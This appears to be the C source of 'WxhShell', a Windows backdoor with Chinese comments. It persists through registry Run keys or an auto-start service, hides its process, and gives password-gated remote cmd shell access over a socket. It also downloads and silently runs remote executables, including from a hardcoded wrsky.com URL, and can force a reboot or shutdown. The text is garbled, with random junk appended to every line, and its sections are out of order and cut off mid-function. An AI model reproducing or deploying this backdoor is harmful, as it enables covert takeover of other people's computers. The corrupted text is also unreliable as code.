    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); J'|qFS  
    if(Boot(SHUTDOWN)) 5|";L&`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nRJcYl~ Y  
    else { Td}#o!4!  
    closesocket(wsh); _yumUk-QW  
    ExitThread(0); Em-88=X O  
    } $#1i@dI  
    break; <S%M*j  
    } -Y{P"!p0  
  // 获取shell 3S ,D~L^  
  case 's': { NFv9%$l-  
    CmdShell(wsh); ]_@5LvI  
    closesocket(wsh); W& w -yZ  
    ExitThread(0); pX+`qxF\  
    break; r1 )Og  
  } R6*:Us0\FJ  
  // 退出 Pqi>,c<&mL  
  case 'x': { 3w#kvtDVm  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +-1t]`9k4  
    CloseIt(wsh); #toKT_  
    break; 1 @tVfn}  
    } Y[#i(5w  
  // 离开 H0_hQ:K   
  case 'q': { eo4;?z  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); H"6Sj-<=  
    closesocket(wsh); w-pdpbHV  
    WSACleanup(); ]G#og)z4  
    exit(1); t?iCq1  
    break; v=$v*W  
        } ]z;%%'gW6  
  } p=V (_  
  } vE^Hk!^  
L]I)E` s  
  // 提示信息 5v<BB`XWp  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _0<qS{RW  
} {=VauF  
  } LcI,Dy|P  
76(-!Z@=J  
  return; TU&gj1  
} 17 Hdj  
O|}97a^  
// shell模块句柄 HNu/b)-Rb  
int CmdShell(SOCKET sock) <p;cR` %uE  
{ [/.o>R#J(  
STARTUPINFO si; wK!4:]rhG  
ZeroMemory(&si,sizeof(si)); 18jI6$DY  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7;ZSeQ yC  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; +pURF&Pr  
PROCESS_INFORMATION ProcessInfo; 3@f@4t@5V  
char cmdline[]="cmd"; S;[9 hI+  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); (hEqh nnm`  
  return 0; g-q~0  
} ,dOd3y'y  
wM8Gz.9,  
// 自身启动模式 UJ3l8 %/`k  
int StartFromService(void) l_Mi'}j  
{ ' !>t( Sa  
typedef struct 21_>|EKp  
{ Wt*&_+ae  
  DWORD ExitStatus; D7T(B=S6  
  DWORD PebBaseAddress; bX23F?  
  DWORD AffinityMask; \#Ez["mD  
  DWORD BasePriority; : z*OAl"  
  ULONG UniqueProcessId; t>:2F,0K9  
  ULONG InheritedFromUniqueProcessId; c4E=qgP  
}   PROCESS_BASIC_INFORMATION; cD{I*t$  
Y5M>&}N  
PROCNTQSIP NtQueryInformationProcess; }%Dsy2:y  
BuII|j  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; R] L|&{   
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; `Hld#+R  
O RAKg.49  
  HANDLE             hProcess; of!Bz  
  PROCESS_BASIC_INFORMATION pbi; SO^:6GuJ  
o*& D;  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); yu"enA  
  if(NULL == hInst ) return 0; ZbD_AP  
r PWn  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ^dj avJ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); O+~.p  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); KAH9?zI)M  
2A'!kd$2  
  if (!NtQueryInformationProcess) return 0; U`Bw2Vdk]S  
Uv?s<  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); /2Q@M>  
  if(!hProcess) return 0; m08:EX P  
?UuJk  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; xO"fg9a  
gI a/sD2m>  
  CloseHandle(hProcess); ?$ T! =e"  
s=9gp$9m  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); jp?;8rS3  
if(hProcess==NULL) return 0; *<Yn  
/<,LM8n  
HMODULE hMod; @LZ'Qc }@  
char procName[255]; O CIWQ/ P  
unsigned long cbNeeded; L>VZ-j  
DA;,)A&=Q  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "5Orj*{  
%v 0 I;t  
  CloseHandle(hProcess); 6 B>1"h%Wf  
-? {bCq  
if(strstr(procName,"services")) return 1; // 以服务启动  &0! f_  
4Rj;lAlwB  
  return 0; // 注册表启动 s}yJkQb  
} #~<cp)!3  
%6rMS}  
// 主模块 M5DQ{d<r  
int StartWxhshell(LPSTR lpCmdLine)  mkH {%7n  
{ O/b~TVA  
  SOCKET wsl; g$+u;ER5  
BOOL val=TRUE; v%N/mL+5L  
  int port=0; aD)XxXwozm  
  struct sockaddr_in door; lYEMrr!KQw  
M| r6"~i  
  if(wscfg.ws_autoins) Install(); el GP2x#:  
g_'F(An  
port=atoi(lpCmdLine); r,F~Vwa}  
yM}b  
if(port<=0) port=wscfg.ws_port; AfAg#75q  
3>LyEXOW  
  WSADATA data; U^+xCX<  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; wc@X:${  
.PjJ g^^  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ,9jq @_  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); R&Mv|R   
  door.sin_family = AF_INET; .<ux Z  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); =D88jkQe"  
  door.sin_port = htons(port); /HCd52  
[]B9Me  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 1HOYp*{#wP  
closesocket(wsl); R1$O)A}k  
return 1; ;e~Z:;AR  
} i=67  
7g@P$e]  
  if(listen(wsl,2) == INVALID_SOCKET) { 2ZHeOKJ-  
closesocket(wsl); 3u]#Ra~5  
return 1; fu3~W  
} ,=o)R,[  
  Wxhshell(wsl); P=v 0|Y*q|  
  WSACleanup(); L%4[,Rsw  
d#~^)r  
return 0; Oa7x(wS  
Ut"~I)S{LT  
}  -)  
CZE!rpl  
// 以NT服务方式启动 =R+z\`2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) dMkDNaH,  
{ MZ" yjQA  
DWORD   status = 0; %N}O Mc.W  
  DWORD   specificError = 0xfffffff; %{GYTc \'X  
|M&i#g<A;  
  serviceStatus.dwServiceType     = SERVICE_WIN32; qm30,$\c`~  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; `>M;f%s  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; c6zghP3dR  
  serviceStatus.dwWin32ExitCode     = 0; v.Fq.  
  serviceStatus.dwServiceSpecificExitCode = 0; b'i-/l$  
  serviceStatus.dwCheckPoint       = 0; B<)c{kj  
  serviceStatus.dwWaitHint       = 0; oy+``W~  
"$)Nd+ny  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); y k=o  
  if (hServiceStatusHandle==0) return; QEd>T"@g  
'C=8.P?  
status = GetLastError(); k&Z3v.  
  if (status!=NO_ERROR) }9Yd[`  
{ QP+zGXd}(  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; > Y7nq\  
    serviceStatus.dwCheckPoint       = 0; BLc&q)  
    serviceStatus.dwWaitHint       = 0; GL4-v[]6I  
    serviceStatus.dwWin32ExitCode     = status; a`SQcNBf*  
    serviceStatus.dwServiceSpecificExitCode = specificError; S 6e<2G=O  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); o80?B~o  
    return; +RIG8w]  
  } MF+J3)  
~lB im$o  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; j9)WInYc:  
  serviceStatus.dwCheckPoint       = 0; 3@u<Sa  
  serviceStatus.dwWaitHint       = 0; GE+ %V7  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); $@ /K/"  
} <PBrW#:'  
n<Vq@=9AE  
// 处理NT服务事件,比如:启动、停止 WxNPAJ6YH  
VOID WINAPI NTServiceHandler(DWORD fdwControl) HK~uu5j  
{ ^a9v5hu  
switch(fdwControl) D$k<<dvv  
{ >:5^4/fo*  
case SERVICE_CONTROL_STOP: Vs>/q:I  
  serviceStatus.dwWin32ExitCode = 0; UsT+o  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ?sF<L/P0 F  
  serviceStatus.dwCheckPoint   = 0; !@ERAPuk  
  serviceStatus.dwWaitHint     = 0; ;Dl< GW3<  
  { | CNsa  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); k+*DPo@)  
  } V*an0@  
  return; SSi-Z  
case SERVICE_CONTROL_PAUSE: ~(%TQY5  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Dx<">4   
  break; gQ]WNJ~>  
case SERVICE_CONTROL_CONTINUE: ^4jIT1  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; f? sW^ d;  
  break; 4[@`j{  
case SERVICE_CONTROL_INTERROGATE: gO C5  
  break; vZq7U]RW  
}; v|<Dc8i+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =YE"6iU  
} 6Z\[{S];  
@;"HslU\Q  
// 标准应用程序主函数 /E@LnKe  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %o.{h  
{  # G0jMQ  
l5l:'EY>  
// 获取操作系统版本 *ukE"Aj  
OsIsNt=GetOsVer(); oIAP dn  
GetModuleFileName(NULL,ExeFile,MAX_PATH); QA+qFP  
6~ev5SD;f  
  // 从命令行安装 6,ylk f3  
  if(strpbrk(lpCmdLine,"iI")) Install(); /Uz2.Ua=  
S/"-x{Gc2v  
  // 下载执行文件 ,3qi]fFLMe  
if(wscfg.ws_downexe) { B!jT@b{  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) +D& W!m  
  WinExec(wscfg.ws_filenam,SW_HIDE); 9e@Sx{?r  
} 9\0  
6(f[<V!r  
if(!OsIsNt) { MR:Co4(  
// 如果时win9x,隐藏进程并且设置为注册表启动 {()8 W r  
HideProc(); DO'$J9;*  
StartWxhshell(lpCmdLine); oQBfDD0  
} f5IO<(:E^  
else 5#!pwjt~7  
  if(StartFromService()) !E'jd72O  
  // 以服务方式启动 ]/XNfb  
  StartServiceCtrlDispatcher(DispatchTable); ^ D/:[  
else MW &iNioX  
  // 普通方式启动 Q4JwX=ZVj  
  StartWxhshell(lpCmdLine); 5#p [Q _  
 I@08F  
return 0; ]6v6&YV  
} N5Eb.a9S  
9?:SxI;v  
-4m UGh1dy  
{*bXO8vi((  
=========================================== l}&egq DC  
n9B1NM5 \  
jFZJ #'CNS  
3l0x~  
-5l74f!i  
*6cP-Vzd  
" CP)x;  
4Cr |]o'  
#include <stdio.h> >j{phZ  
#include <string.h> DB-4S-2  
#include <windows.h> we9R4 *j  
#include <winsock2.h> #qi@I;;t  
#include <winsvc.h> m2AA:u_*j  
#include <urlmon.h> 8p  }E  
i:0~%X  
#pragma comment (lib, "Ws2_32.lib") bEfxu;Su 3  
#pragma comment (lib, "urlmon.lib") UxzZr%>s  
;,}tXz  
#define MAX_USER   100 // 最大客户端连接数 $ &M"Ji  
#define BUF_SOCK   200 // sock buffer A_6b 4T  
#define KEY_BUFF   255 // 输入 buffer IKb 7#Ut  
lwIU|T<4  
#define REBOOT     0   // 重启 ( ?3 )l   
#define SHUTDOWN   1   // 关机 [~,~ e   
y&")7y/uE  
#define DEF_PORT   5000 // 监听端口 J 6U3}SO=y  
rLGh>bw#`3  
#define REG_LEN     16   // 注册表键长度 m*tmmP4R  
#define SVC_LEN     80   // NT服务名长度 /v 7U~i5  
qd6XKl\5  
// 从dll定义API '9>z4G*Td  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); DJr{;t$7~  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); LGGC=;{}  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); :PuJF`k  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); tRZCOEo4  
EtK,C~C}8  
// wxhshell配置信息 W! v8'T  
struct WSCFG { yf(VwU, x  
  int ws_port;         // 监听端口 ?ntyF-n&  
  char ws_passstr[REG_LEN]; // 口令 yeqZPz n  
  int ws_autoins;       // 安装标记, 1=yes 0=no W6_/FkO  
  char ws_regname[REG_LEN]; // 注册表键名 b/5  
  char ws_svcname[REG_LEN]; // 服务名 QXqBb$AXi,  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 s"#>Xc  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 g|tnYN  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 n KC$ KC  
int ws_downexe;       // 下载执行标记, 1=yes 0=no >_XRh  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" B v /]>Z  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 RNE} )B  
kaQn'5  
}; BFc=GiPnQ  
# kl?ww U  
// default Wxhshell configuration {.v-  
struct WSCFG wscfg={DEF_PORT, D'2&'7-sm\  
    "xuhuanlingzhe", E#X(0(A)  
    1, z@iu$DZ  
    "Wxhshell", xH!{;i  
    "Wxhshell", Wg9q_Ql  
            "WxhShell Service", v>CA A"LH  
    "Wrsky Windows CmdShell Service", Z%Q[W}iD  
    "Please Input Your Password: ", NitWIj[U;  
  1, z)I.^  
  "http://www.wrsky.com/wxhshell.exe", T|`nw_0  
  "Wxhshell.exe" uA dgR  
    }; 7'\<\oT  
g+|1khS)  
// 消息定义模块 f l*]ua  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 7'uuc]\5>  
char *msg_ws_prompt="\n\r? for help\n\r#>"; }a6tG  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; #9uNJla  
char *msg_ws_ext="\n\rExit."; J=|PZ2"  
char *msg_ws_end="\n\rQuit."; {>'GE16x  
char *msg_ws_boot="\n\rReboot..."; m?VA 1  
char *msg_ws_poff="\n\rShutdown..."; >u?pq6;  
char *msg_ws_down="\n\rSave to "; cL}} ^  
$x#0m  
char *msg_ws_err="\n\rErr!"; *J,VvO 9  
char *msg_ws_ok="\n\rOK!"; T!u&r  
4Ynv=G Qz  
char ExeFile[MAX_PATH]; u+"3l@Y#  
int nUser = 0; \tH^w@j47  
HANDLE handles[MAX_USER]; bII pJQ1.[  
int OsIsNt; -}Vnr\f  
RuSKJ,T:9  
SERVICE_STATUS       serviceStatus; ' ^L|}e  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; .6z8fjttOC  
~{lSc/SP|  
// 函数声明 D#R5G   
int Install(void); KvW {M  
int Uninstall(void); X<{kf-GP  
int DownloadFile(char *sURL, SOCKET wsh); -,+zA.{+W  
int Boot(int flag); |tF:]jnIt  
void HideProc(void); BU],,t\  
int GetOsVer(void); T9N][5\  
int Wxhshell(SOCKET wsl); yXyL,R  
void TalkWithClient(void *cs); Wv!#B$J~U  
int CmdShell(SOCKET sock); [S;ceORx  
int StartFromService(void); w ;+x g  
int StartWxhshell(LPSTR lpCmdLine); 1'ts>6b  
I(!i"b9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); n?'I&0>M  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 1 ~ fD:  
y}Ji( q~  
// 数据结构和表定义 1h_TG.YL9>  
SERVICE_TABLE_ENTRY DispatchTable[] = IJ >qs8  
{ nKpXRuFn\  
{wscfg.ws_svcname, NTServiceMain}, foO /Yc  
{NULL, NULL} %i[G6+-  
}; x{y}pH"H  
}Fs;sfH  
// 自我安装 *9Eep~ 6  
int Install(void) \~u7 k  
{ K@yLcgr{O2  
  char svExeFile[MAX_PATH]; _M[@a6?  
  HKEY key; p,#t[K  
  strcpy(svExeFile,ExeFile); ypyqf55gK  
N 0<([B;  
// 如果是win9x系统,修改注册表设为自启动 &5k$ v^W5  
if(!OsIsNt) { HoE@t-S  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5eS0 B{,c  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); CWF(OMA  
  RegCloseKey(key); ;nS.t_UW.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { gp@X(d  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); tgk] sQY  
  RegCloseKey(key); aTXmF1_n  
  return 0; nX 4WlH  
    } REqQJ7a/  
  } ~^Ceru"<  
} mmSC0F  
else { oN3DM;  
"&!7wH ,A  
// 如果是NT以上系统,安装为系统服务 }XHB7,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); !j8.JP}!)  
if (schSCManager!=0) j~DTvWg<Jl  
{ ]/31@RT  
  SC_HANDLE schService = CreateService vZhC_G+tGd  
  ( Bgw=((p  
  schSCManager, V\Q=EsHj   
  wscfg.ws_svcname, ",&^ f  
  wscfg.ws_svcdisp, d'p]F~a  
  SERVICE_ALL_ACCESS, e'"2yA8dh"  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , N>a. dYXr  
  SERVICE_AUTO_START, ,_+Gb  
  SERVICE_ERROR_NORMAL, gl.uDO%.  
  svExeFile, ::goqajV  
  NULL, lQ5d.}O&  
  NULL, o;w 5;TkY  
  NULL, barY13)$U  
  NULL, U1oZ\Mh  
  NULL )I&,kH)+  
  ); YCMXF#1  
  if (schService!=0) @q(sig00nr  
  { (*6kYkUK  
  CloseServiceHandle(schService); v*Dz4K#  
  CloseServiceHandle(schSCManager); (3. B\8s  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); }.ZT?p\  
  strcat(svExeFile,wscfg.ws_svcname); 7\;4 d4u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { #Jx6DQGa  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); N+0[p@0  
  RegCloseKey(key); c\P,ct }>  
  return 0; z8VcV*6  
    } '.{tE*  
  } dUvgFOy|P  
  CloseServiceHandle(schSCManager); G+5_I"`W  
} As}3VBd  
} ^$>Q6.x?*)  
Chso]N.1  
return 1; `eo$o!  
} r$Gz  
,_wpYTl*X  
// 自我卸载 H^TU?vz} <  
int Uninstall(void) %2q0lFdcM  
{ 5u5-:#sLy  
  HKEY key; '}$]V>/  
r(qw zUI  
if(!OsIsNt) { }F B]LLi  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { VoG_'P  
  RegDeleteValue(key,wscfg.ws_regname); OTy{:ID  
  RegCloseKey(key); )I{~Pcq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { R(t1Ei.-?  
  RegDeleteValue(key,wscfg.ws_regname); $c1zMkY)u  
  RegCloseKey(key); 2%{(BT6  
  return 0; FN+x<VXo(  
  } z<I@SI^>  
} r$Tu``z \  
} $*\G Z$y>  
else { /s~(? =qYH  
u-/5&Endb  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); H6.  
if (schSCManager!=0) L\cb Y6b  
{ XI5TVxo(q  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); \Bvy~UeE)>  
  if (schService!=0) /z)H7s+  
  { r9 5hW  
  if(DeleteService(schService)!=0) { .EfGL _  
  CloseServiceHandle(schService); /:=,mWoO  
  CloseServiceHandle(schSCManager); .wpp)M.w;H  
  return 0; .Ce0yAl~  
  } y$,j'B:;4m  
  CloseServiceHandle(schService); =".sCV9"N  
  } Dug{)h_2  
  CloseServiceHandle(schSCManager); AqZ()p*z  
} )x<oRHx]  
} ^D]y<@01  
SHA6;y+U/~  
return 1; 6uu49x_^L4  
} ^1\[hyZ!  
hpBn_  
// 从指定url下载文件 A+QOox]<  
int DownloadFile(char *sURL, SOCKET wsh) Io*mFa?  
{ b/]@G05>>  
  HRESULT hr; 1nZ7xCDK98  
char seps[]= "/"; 4qKMnYR  
char *token; c#L.I  
char *file; .  g8WMm  
char myURL[MAX_PATH]; {P7 I<^,  
char myFILE[MAX_PATH]; _8{6&AmIw  
DQy;W  ov  
strcpy(myURL,sURL); &0Bs?oq_  
  token=strtok(myURL,seps); 4_KRH1  
  while(token!=NULL) FdE9k\E#/)  
  { G0mvrc-(  
    file=token; lxh}N,  
  token=strtok(NULL,seps); _|C T|q  
  } I AFj_VWC0  
j"4]iI+{"  
GetCurrentDirectory(MAX_PATH,myFILE); 8h{;*Wr-  
strcat(myFILE, "\\"); ;kLp}CqV  
strcat(myFILE, file); 1 F+$\fLr  
  send(wsh,myFILE,strlen(myFILE),0); UNhM:!A  
send(wsh,"...",3,0); W*Gp0pX  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); bBp('oEJu  
  if(hr==S_OK) 3f)!RKS9q  
return 0; ,9"A"p*R  
else sOBuJx${m  
return 1;  q +*>T=k  
0 >:RFCo  
} ApotRr$)  
(jtkY_  
// 系统电源模块 Dy|DQ>?}  
int Boot(int flag) @sG5Do  
{ }Zp5d7(@w  
  HANDLE hToken; b l]YPx8  
  TOKEN_PRIVILEGES tkp; <;q)V%IUz  
gMB/ ~g5b0  
  if(OsIsNt) { PESJ7/^E  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); G&\!!i|IQ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); qYbPF|Y=Z  
    tkp.PrivilegeCount = 1; I`KBj6n  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; $[HpY)MSRw  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Q^ |aix~ K  
if(flag==REBOOT) { f' &  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) lFc4| _c g  
  return 0; pWN5>HV  
} L.$+W}  
else { kT ,2eel  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 1g1gu=|Q  
  return 0; B[{Ie G'  
} ;o?Wn=J  
  } | X0Ys8f  
  else { I%# e\  
if(flag==REBOOT) { n,o;:c  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) idGhWV'  
  return 0; tbq_ Rg7s  
} Ku<_N]9  
else { &k0c|q]  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) gt:Ot0\7  
  return 0; (IIOVv 1J  
} =:pN82.G  
} yL%k5cO$N  
}c;h:CE#  
return 1; bl-t>aO*.V  
} ("rIz8b  
~8^)[n+)x  
// win9x进程隐藏模块 P(XNtQ=K  
void HideProc(void) qkh.? ~  
{  0ZpWfL  
^J7g)j3  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); VkDFR [k_  
  if ( hKernel != NULL ) Tx0l^(n  
  { *N?y<U  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ?Ulc`-d  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); V[BlT|t  
    FreeLibrary(hKernel); dD}!E  
  } #zv'N  
Xn:ac^  
return; +H8;*uZ|k,  
} sow/JLlbC  
&`A2&mZ  
// 获取操作系统版本 ICI8xP}a?  
int GetOsVer(void) * S>,5R0k  
{ fP 5!`8  
  OSVERSIONINFO winfo; ?.&?4*u  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); tmf= 1M  
  GetVersionEx(&winfo); > [|SF%  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) s7#|'jhZt  
  return 1; D $[/|%3  
  else kzcD}?mSS  
  return 0; M"$TXXe  
} ;r XhK$  
%D:5 S?{  
// 客户端句柄模块 4uUR2J  
int Wxhshell(SOCKET wsl) q{t"=@lX01  
{ `O/RNMaC  
  SOCKET wsh; m K@a7fF?  
  struct sockaddr_in client; v__;oqN0  
  DWORD myID; dj0`Q:VZ  
/@\3#2;  
  while(nUser<MAX_USER) v^_<K4N`  
{ 5cE!'3Y  
  int nSize=sizeof(client); )iG+pP@.@  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); K\GIh8L  
  if(wsh==INVALID_SOCKET) return 1; 5"JnJH  
x uDn:  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); e`Z3{H}  
if(handles[nUser]==0) i|Y_X  
  closesocket(wsh); ]\:FFg_O6t  
else {\HE'C/?  
  nUser++; tKUy&]T  
  } ,-XJ@@2gM  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); t(:6S$6{e  
e[@ ^UY  
  return 0; 2)^[SpZ  
} 7" wn0 24  
!OJSQB,  
// 关闭 socket 'k9hzk(*  
void CloseIt(SOCKET wsh) S-:7P.#Q  
{ 7TQh'j   
closesocket(wsh); S hM}w/4  
nUser--; ;,h*s, i  
ExitThread(0); IBzHXa>75  
} ptmPO4f  
Ueyt}44.e2  
// 客户端请求句柄 Q nqU!6k@  
void TalkWithClient(void *cs) +C)auzY7N  
{ =`X ;fz  
)LYj,do  
  SOCKET wsh=(SOCKET)cs; ab 1\nzpd  
  char pwd[SVC_LEN];  N>Pufr  
  char cmd[KEY_BUFF]; \g}FoN&  
char chr[1]; @zJ#16V i  
int i,j; ku'%+svD  
XabrX|B#  
  while (nUser < MAX_USER) { b+M[DwPw  
qpl"j-  
if(wscfg.ws_passstr) { CW=-@W7  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); EtH)E)  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +G_6Ek4  
  //ZeroMemory(pwd,KEY_BUFF); B!le=V,@,  
      i=0; =P+S]<O  
  while(i<SVC_LEN) { vAJfMUlP  
z~oGd,  
  // 设置超时 Ac.z6]p  
  fd_set FdRead; EVj48  
  struct timeval TimeOut; 9_ Qm_  
  FD_ZERO(&FdRead); <][|,9mw  
  FD_SET(wsh,&FdRead); R^F99L  
  TimeOut.tv_sec=8; %;zWS/JhL  
  TimeOut.tv_usec=0; 7q|(ZZa  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); M{7EFTy!y  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); _pNUI {De  
"7 )F";_(^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ryx<^q  
  pwd=chr[0]; d~| qx  
  if(chr[0]==0xd || chr[0]==0xa) { _V{WXsOx(  
  pwd=0; =dX*:An  
  break; zoOm[X=?3  
  } ?XGZp?6  
  i++; %p2C5z?  
    } ;:9 x.IkxC  
va;d[D,  
  // 如果是非法用户,关闭 socket `>8|  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); n37( sKG  
} kozg8 `\]  
X5U!25d]  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); M14_w,  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &nn.h@zje  
%4L|#^7:  
while(1) { ^B& Z  
U)p2PTfB  
  ZeroMemory(cmd,KEY_BUFF); B>Nxc@=D  
oT|E\wj  
      // 自动支持客户端 telnet标准   z<<` 1wqg  
  j=0; 3Ua g[ms  
  while(j<KEY_BUFF) { 6XQ)Q)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 66'TdF]"  
  cmd[j]=chr[0]; h)wR[N]n  
  if(chr[0]==0xa || chr[0]==0xd) { ~:)$~g7>b  
  cmd[j]=0; MO#%w  
  break; o-O/MS   
  } XtfL{Fy|T  
  j++; u'K<-U8H  
    } >/bl r}5 H  
lGLZIp  
  // 下载文件 RFK N,oB  
  if(strstr(cmd,"http://")) { \0WMb  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); m; ABHq#  
  if(DownloadFile(cmd,wsh)) S|]~,l2]}  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Gs?W7}<$  
  else 9$DVG/  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Zc9 n0t[  
  } ZTmdS  
  else { RPiCXpJv&  
ao-C9|2>NU  
